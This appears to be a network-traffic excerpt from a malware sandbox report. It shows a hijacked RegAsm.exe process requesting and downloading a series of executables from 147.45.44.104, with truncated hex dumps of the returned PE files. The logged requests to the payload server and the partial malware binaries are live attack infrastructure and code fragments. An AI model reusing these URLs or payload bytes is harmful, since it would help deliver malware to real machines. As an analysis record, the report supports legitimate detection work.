Sep 11, 2024 16:22:15.533386946 CEST	1236	IN	Data Raw: 51 43 6e 2b 7a 55 31 72 55 53 43 5a 62 37 5a 67 77 6c 6e 2f 6a 4a 36 46 4e 6a 2f 77 55 32 4a 69 4a 6e 68 73 77 46 42 33 7a 37 6e 6f 72 35 72 38 2f 50 4c 54 67 57 53 6f 68 7a 54 55 77 36 41 67 39 70 52 30 77 6f 55 70 72 30 4a 59 66 30 6d 43 50 6d Data Ascii: QCn+zU1rUSCZb7Zgwln/jJ6FNj/wU2JiJnhswFB3z7nor5r8/PLTgWSohzTUw6Ag9pR0woUpr0JYf0mCPmrWcmCRGVNveWFnxt7k8tKbIzoNQFnFhrvX547gbRppfFRXOFAzW5ZzNdjKzMSAeqK3qzLPvFMoUPfkA2QTLjQhj0keP/FqR0yiQePsZIeI6p10fZ+yKDOvrbZyWdmzKkDgTeMROzmaXSSZyhUdJ/zuXR5KSbU9owo
Sep 11, 2024 16:22:15.533402920 CEST	663	IN	Data Raw: 43 2b 58 71 6d 4c 76 41 6d 33 6b 62 6e 6d 63 38 56 54 63 51 49 53 71 50 59 44 78 2b 55 37 70 4c 49 79 69 49 37 42 53 64 4c 42 6a 66 4e 58 6d 32 6c 44 69 6e 6b 53 59 78 61 4f 76 71 2f 42 42 61 63 51 43 46 45 59 72 71 59 6a 71 70 4d 41 4a 57 6b 32 Data Ascii: C+XqmLvAm3kbnmc8VTcQISqPYDx+U7pLIyiI7BSdLBjfNXm2lDinkSYxaOvq/BBacQCFEYrqYjqpMAJWk2uLW3nexLiJAvtacE43QIfD8O1iaL45HSUIvkOH+ELKzECcvyVYlnnnBrbvpgvAPn7nvq1i0G+tYSsvrVa/KBJVsJQCIwmu6nAaSzyXgdUkczsiypGMwHaGRiLVc2xDCSb03k2qIlTL5u3oGDxLMNgStFiBfkj9lhX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	147.45.44.104	80	5500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 16:22:15.669305086 CEST	229	OUT	HEAD /revada/66e1a49ce28da_wtyhjkosefktyh.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 11, 2024 16:22:16.318893909 CEST	311	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:22:16 GMT Content-Type: application/octet-stream Content-Length: 6626133 Last-Modified: Wed, 11 Sep 2024 14:09:32 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66e1a49c-651b55" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 11, 2024 16:22:16.319350004 CEST	222	OUT	HEAD /yuop/66e19745cc64e_crypted.exe#1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 11, 2024 16:22:16.507102966 CEST	309	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:22:16 GMT Content-Type: application/octet-stream Content-Length: 320000 Last-Modified: Wed, 11 Sep 2024 13:12:37 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66e19745-4e200" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 11, 2024 16:22:16.507708073 CEST	218	OUT	HEAD /yuop/66e179cc20793_lyla2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 11, 2024 16:22:16.696120977 CEST	311	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:22:16 GMT Content-Type: application/octet-stream Content-Length: 6623829 Last-Modified: Wed, 11 Sep 2024 11:06:52 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66e179cc-651255" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 11, 2024 16:22:16.696913958 CEST	220	OUT	HEAD /yuop/66e197066b3e8_xin.exe#xin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 11, 2024 16:22:16.885337114 CEST	309	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:22:16 GMT Content-Type: application/octet-stream Content-Length: 513024 Last-Modified: Wed, 11 Sep 2024 13:11:34 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66e19706-7d400" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 11, 2024 16:22:16.885993004 CEST	228	OUT	GET /lopsa/66daf6d8ac980_PeakSports.exe#pend HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 11, 2024 16:22:17.169019938 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:22:16 GMT Content-Type: application/octet-stream Content-Length: 1811225 Last-Modified: Fri, 06 Sep 2024 12:34:32 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66daf6d8-1ba319" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 61 4b 5a 65 25 2a 34 36 25 2a 34 36 25 2a 34 36 2c 52 b7 36 26 2a 34 36 2c 52 a7 36 34 2a 34 36 25 2a 35 36 89 2a 34 36 3e b7 9e 36 2b 2a 34 36 3e b7 ae 36 24 2a 34 36 3e b7 a9 36 24 2a 34 36 52 69 63 68 25 2a 34 36 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 cf e2 47 4f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 70 00 00 00 3a 42 00 00 42 00 00 99 38 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 a0 4b 00 00 04 00 00 30 60 1c 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 9b [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$aKZe%46%46%46,R6&46,R6446%5646>6+46>6$46>6$46Rich%46PELGOp:BB8@K0`@40G&}@%?H.textop `.rdatab,t@@.dataf>@.ndata ?.rsrc&0G(@@.reloc2`K4@B
Sep 11, 2024 16:22:17.169032097 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: U\}t+}FEuHHPuuu@KSV5WEPu@eEEPu@}eD@FRVVU+MM
Sep 11, 2024 16:22:17.169043064 CEST	448	IN	Data Raw: c0 08 40 00 00 56 83 e1 0f ff 34 8a 05 c8 b0 40 00 50 e8 93 53 00 00 83 7c 24 08 00 8b f0 7d 06 56 e8 b7 4b 00 00 8b c6 5e c2 04 00 55 8b ec 81 ec 10 02 00 00 53 56 57 8d 45 fc 50 a1 d0 16 7f 00 83 c8 08 50 33 db 53 ff 75 0c ff 75 08 ff 15 04 80 Data Ascii: @V4@PS\|$}VK^USVWEPP3Suu@;ui5@9]uKSPuuWPSutu@jN;t$S5uuu@3@_^[9uuu@uU@@Vt
Sep 11, 2024 16:22:17.169235945 CEST	1236	IN	Data Raw: 00 b8 ff ff ff 7f e9 b2 1a 00 00 ff 05 b4 95 7e 00 39 5d f4 74 eb 53 ff 15 3c 82 40 00 eb e2 52 e8 28 fd ff ff 8d 70 ff 56 68 80 8f 40 00 e8 55 4c 00 00 59 59 53 56 e8 30 fd ff ff e9 7c 1a 00 00 53 e8 e4 fd ff ff 50 68 60 8f 40 00 e8 36 4c 00 00 Data Ascii: ~9]tS<@R(pVh@ULYYSV0\|SPh`@6LYYSu8P3VhL@LYY3FV@&h0@KYu@@9]u%`3ASM`u43;
Sep 11, 2024 16:22:17.169248104 CEST	1236	IN	Data Raw: 00 00 56 68 00 20 7f 00 e8 0d 45 00 00 ff 75 e8 68 d0 f0 40 00 e8 fc 4c 00 00 57 68 00 20 7f 00 e8 f5 44 00 00 8b 45 d4 c1 f8 03 50 68 d0 f0 40 00 e8 7b 41 00 00 83 e8 04 75 10 68 70 8b 40 00 e8 6f 47 00 00 59 e9 36 ff ff ff 48 74 40 68 40 8b 40 Data Ascii: Vh Euh@LWh DEPh@{Auhp@oGY6Ht@h@@\GYVjuj4}uEuVh@.GPh@GYCuj3SSuuVWh@F}u}tEPSPu`@
Sep 11, 2024 16:22:17.169258118 CEST	1236	IN	Data Raw: 55 f8 52 51 53 ff 75 08 ff 75 cc 50 57 ff 15 4c 82 40 00 f7 d8 1b c0 40 89 45 fc eb 43 ff 75 08 ff 75 cc 50 57 ff 15 88 82 40 00 eb 30 6a 01 e8 4f f4 ff ff 6a 12 8b f8 e8 46 f4 ff ff 0f b7 08 f7 d9 1b c9 23 c8 0f b7 07 f7 d8 51 1b c0 23 c7 50 ff Data Ascii: URQSuuPWL@@ECuuPW@0jOjF#Q#Puu@E9]u3Pl@sUjY3PAPp@Z(Pj3Pt@DQup@EPV@EEjPEEPSS
Sep 11, 2024 16:22:17.169270039 CEST	1236	IN	Data Raw: 0c 00 00 ff 75 08 e8 16 18 00 00 85 c0 0f 84 23 0c 00 00 ff 75 08 ff 15 3c 81 40 00 e9 15 0c 00 00 68 d0 f0 40 00 6a f6 e8 ae 2a 00 00 57 68 00 87 40 00 e9 72 f4 ff ff 68 d0 f0 40 00 6a e7 e8 97 2a 00 00 68 a0 86 40 00 e9 ab f2 ff ff 6a f0 e8 5a Data Ascii: u#u<@h@jWh@rh@jh@jZjEPjGjE=jEE3WE8uj!EQ#Q#PuuWuh@O= EPh@jSh$@@;EURh@PE
Sep 11, 2024 16:22:17.169281960 CEST	328	IN	Data Raw: 85 a4 fe ff ff 68 00 01 00 00 50 e8 a9 38 00 00 8d 85 a4 fe ff ff 50 ff 75 f4 ff 75 08 ff 75 cc 68 04 84 40 00 e8 0e 39 00 00 83 c4 24 ff 75 f8 57 ff 75 ec 53 ff 75 f4 ff 75 bc ff 15 18 80 40 00 85 c0 75 05 89 5d fc eb 16 ff 75 f4 ff 75 08 ff 75 Data Ascii: hP8Puuuh@9$uWuSuu@u]uuuh@8u@uuh`@hJj3J3f;MQVMQSPWE@@3Au7}t9Mt}u&EME3fN639]VE4
Sep 11, 2024 16:22:17.169295073 CEST	1236	IN	Data Raw: ff 15 20 80 40 00 85 c0 0f 85 3c ef ff ff 33 c0 66 89 86 06 40 00 00 eb 9c 66 39 1e 0f 84 f8 05 00 00 56 e8 8f 34 00 00 50 ff 15 bc 80 40 00 e9 e6 05 00 00 6a ed e8 58 e9 ff ff ff 75 dc ff 75 d8 50 e8 56 33 00 00 83 f8 ff 0f 85 c3 05 00 00 33 c0 Data Ascii: @<3f@f9V4P@jXuuPV33f Wj@$@E9]t3AM3@%jSSWujh@SSH@uL@f9tSMQPuV3PT@EjYE0 ;~
Sep 11, 2024 16:22:17.169306040 CEST	1236	IN	Data Raw: e9 41 01 00 00 6a 01 e8 54 31 00 00 e9 35 01 00 00 6a 01 e8 a7 e4 ff ff 50 68 84 8a 40 00 e9 97 e9 ff ff 33 c9 e8 7f e4 ff ff 89 45 08 3b 05 0c 16 7f 00 0f 83 3d ea ff ff 8b f0 8b 45 dc 69 f6 20 40 00 00 03 35 08 16 7f 00 3b c3 7c 15 8b 0c 86 75 Data Ascii: AjT15jPh@3E;=Ei @5;\|uVWQQ+Mt3A4EuFP7NEM9]uB3 9]t9]tP=SSqSyR9]tM
Sep 11, 2024 16:22:17.169318914 CEST	448	IN	Data Raw: 80 40 00 f6 05 d4 16 7f 00 01 8b f8 74 49 2b 45 f0 3d c8 00 00 00 77 06 83 7d 14 00 75 39 ff 75 08 8b 45 08 2b 45 14 6a 64 50 ff 15 50 81 40 00 50 8d 85 68 ff ff ff 68 fc 8f 40 00 50 ff 15 48 82 40 00 83 c4 0c 8d 85 68 ff ff ff 50 6a 00 e8 c3 1a Data Ascii: @tI+E=w}u9uE+EjdPP@Phh@PH@hPj}3;tB9Eu PEPVuuT@t99uu4u`1Cu)uE}59Exjj;uL9]~aPAu9u}uVSjEPVSuT@
Sep 11, 2024 16:22:18.576001883 CEST	217	OUT	GET /prog/66d70e8640404_trics.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 11, 2024 16:22:18.764142036 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:22:18 GMT Content-Type: application/octet-stream Content-Length: 8684256 Last-Modified: Tue, 03 Sep 2024 13:26:30 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d70e86-8482e0" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 a8 b8 50 f6 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 08 80 00 00 9e 03 00 00 00 00 00 ce 26 80 00 00 20 00 00 00 40 80 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 84 00 00 04 00 00 49 b2 84 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 80 26 80 00 4b 00 00 00 00 60 80 00 d6 97 03 00 00 00 00 00 00 00 00 00 00 aa 83 00 e0 d8 00 00 00 00 84 00 0c 00 00 00 36 26 80 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELP& @@ I@&K`6& H.text `.sdata@@.rsrc`@@.reloc@B
Sep 11, 2024 16:22:25.653923988 CEST	217	OUT	GET /yuop/66e179cc20793_lyla2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 11, 2024 16:22:25.842268944 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:22:25 GMT Content-Type: application/octet-stream Content-Length: 6623829 Last-Modified: Wed, 11 Sep 2024 11:06:52 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66e179cc-651255" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 41 1f e1 66 00 da 5e 00 71 25 00 00 e0 00 06 01 0b 01 02 23 00 a6 47 00 00 2c 5a 00 00 e4 66 00 b0 14 00 00 00 10 00 00 00 c0 47 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 60 c6 00 00 06 00 00 74 0a 66 00 02 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 10 b3 00 42 00 00 00 00 20 b3 00 e4 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 b3 00 5c 2a 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 6c 48 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELAf^q%#G,ZfG@`tf B P\DlH!.textGG`P`.dataHGG@`.rdataXGG@`@/4HbH@0@.bssTf L`.edataBK@0@.idata K@0.CRT40L@0.tls@L@0.reloc\P,L@0B/142Z@B/29:Z@B/41XL@N[@B/55B0\
Sep 11, 2024 16:22:30.548937082 CEST	231	OUT	GET /revada/66e06cea88f93_BlueSapphire.exe#upus HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 11, 2024 16:22:30.737492085 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:22:30 GMT Content-Type: application/octet-stream Content-Length: 2590720 Last-Modified: Tue, 10 Sep 2024 15:59:38 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66e06cea-278800" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f 30 c0 9b 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 e8 24 00 00 9e 02 00 00 00 00 00 4e 06 25 00 00 20 00 00 00 20 25 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 27 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 00 06 25 00 4b 00 00 00 00 20 25 00 5c 9a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 27 00 0c 00 00 00 ab 05 25 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_0P$N% %@ '@%K %\'% H.textT$ $ `.rsrc\ %$@@.reloc''@B0%H`BP^;(Y(Y*(Y0(Y 8E$?Z8s8s8s 9&8s 9&8s800000*00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49735	147.45.44.104	80	5500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 16:22:15.669492006 CEST	229	OUT	HEAD /lopsa/66daf6d8ac980_PeakSports.exe#pend HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 11, 2024 16:22:16.291013002 CEST	311	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:22:16 GMT Content-Type: application/octet-stream Content-Length: 1811225 Last-Modified: Fri, 06 Sep 2024 12:34:32 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66daf6d8-1ba319" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 11, 2024 16:22:16.291605949 CEST	218	OUT	HEAD /prog/66d70e8640404_trics.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 11, 2024 16:22:16.474251032 CEST	311	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:22:16 GMT Content-Type: application/octet-stream Content-Length: 8684256 Last-Modified: Tue, 03 Sep 2024 13:26:30 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d70e86-8482e0" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 11, 2024 16:22:16.474885941 CEST	234	OUT	HEAD /lopsa/66dc99a997229_VirtualLibrary.exe#front HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 11, 2024 16:22:16.657201052 CEST	313	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:22:16 GMT Content-Type: application/octet-stream Content-Length: 21402624 Last-Modified: Sat, 07 Sep 2024 18:21:29 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66dc99a9-1469400" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 11, 2024 16:22:16.657448053 CEST	232	OUT	HEAD /revada/66e06cea88f93_BlueSapphire.exe#upus HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 11, 2024 16:22:16.839380026 CEST	311	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:22:16 GMT Content-Type: application/octet-stream Content-Length: 2590720 Last-Modified: Tue, 10 Sep 2024 15:59:38 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66e06cea-278800" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 11, 2024 16:22:16.839597940 CEST	219	OUT	HEAD /lopsa/66dd2c2d3b88f_opera.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 11, 2024 16:22:17.168478012 CEST	312	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:22:16 GMT Content-Type: application/octet-stream Content-Length: 11158528 Last-Modified: Sun, 08 Sep 2024 04:46:37 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66dd2c2d-aa4400" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 11, 2024 16:22:17.172806978 CEST	228	OUT	GET /revada/66e1a49ce28da_wtyhjkosefktyh.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 11, 2024 16:22:17.357192039 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:22:17 GMT Content-Type: application/octet-stream Content-Length: 6626133 Last-Modified: Wed, 11 Sep 2024 14:09:32 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66e1a49c-651b55" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 24 84 32 e2 60 e5 5c b1 60 e5 5c b1 60 e5 5c b1 d4 79 ad b1 68 e5 5c b1 d4 79 af b1 eb e5 5c b1 d4 79 ae b1 6d e5 5c b1 e0 9e a1 b1 62 e5 5c b1 e0 9e 58 b0 72 e5 5c b1 e0 9e 5f b0 6a e5 5c b1 e0 9e 59 b0 59 e5 5c b1 69 9d df b1 69 e5 5c b1 69 9d db b1 62 e5 5c b1 69 9d cf b1 67 e5 5c b1 60 e5 5d b1 43 e4 5c b1 ee 9e 59 b0 52 e5 5c b1 ee 9e 5c b0 61 e5 5c b1 ee 9e a3 b1 61 e5 5c b1 ee 9e 5e b0 61 e5 5c b1 52 69 63 68 60 e5 5c b1 00 00 00 00 00 00 00 00 50 45 00 00 64 86 08 00 23 97 40 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 21 00 68 04 00 00 86 02 00 00 00 00 00 e0 2e 03 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$$2`\`\`\yh\y\ym\b\Xr\_j\YY\ii\ib\ig\`]C\YR\\a\a\^a\Rich`\PEd#@f"!h.@`4P\|l0p6T7(@ .textngh `.rdata(*l@@.data\@.pdatal02@@.didat`@_RDATA\@@.rsrc\|@@.relocp@B
Sep 11, 2024 16:22:17.357273102 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: H9HH(H5dHeH(HeH(jH(HjHel
Sep 11, 2024 16:22:17.357284069 CEST	1236	IN	Data Raw: 20 5f c3 48 8b c4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 41 54 41 56 41 57 48 83 ec 20 48 bb fe ff ff ff ff ff ff 7f 4d 8b f9 4c 8b f2 48 8b f9 48 3b d3 0f 87 02 01 00 00 48 8b 69 18 48 83 ca 07 45 33 e4 48 3b d3 77 11 48 8b cd 48 8b c3 Data Ascii: _HHXHhHpHx ATAVAWH HMLHH;HiHE3H;wHHHH+H;vHH1H)HH;HBHHKH;HHrLHHtIH_IK6LwLH fD$3Hr1HHmHrLA
Sep 11, 2024 16:22:17.357311010 CEST	1236	IN	Data Raw: c3 cc cc 40 53 48 83 ec 20 48 8b d9 48 8b c2 48 8d 0d 2d 97 04 00 0f 57 c0 48 89 0b 48 8d 53 08 48 8d 48 08 0f 11 02 e8 db 1b 03 00 48 8b c3 48 83 c4 20 5b c3 cc cc 40 53 48 83 ec 20 48 8b 19 48 85 db 74 49 48 8b 0b 48 85 c9 74 41 48 8b 53 10 48 Data Ascii: @SH HHH-WHHSHHHH [@SH HHtIHHtAHSH+HHHrLAH'I+HAHwIGH#HcHcH [&_@SH HHHtAHSH+HHHrLAH'I+HAHwIH#HcHc
Sep 11, 2024 16:22:17.357322931 CEST	1236	IN	Data Raw: 10 00 00 72 19 48 83 c2 27 48 8b 49 f8 48 2b c1 48 83 c0 f8 48 83 f8 1f 0f 87 84 00 00 00 e8 d0 03 03 00 0f 57 c0 f3 0f 7f 44 24 20 4c 89 6c 24 30 48 8b 55 18 48 83 fa 08 72 32 48 8d 14 55 02 00 00 00 48 8b 4d 00 48 8b c1 48 81 fa 00 10 00 00 72 Data Ascii: rH'HIH+HHWD$ Ll$0HUHr2HUHMHHrH'HIH+HHw(HH3HA_A^A]_^[]VZPZJZDZ@SVWHHH3H$HIHL$ HSugHd$8HD$pHd$XH
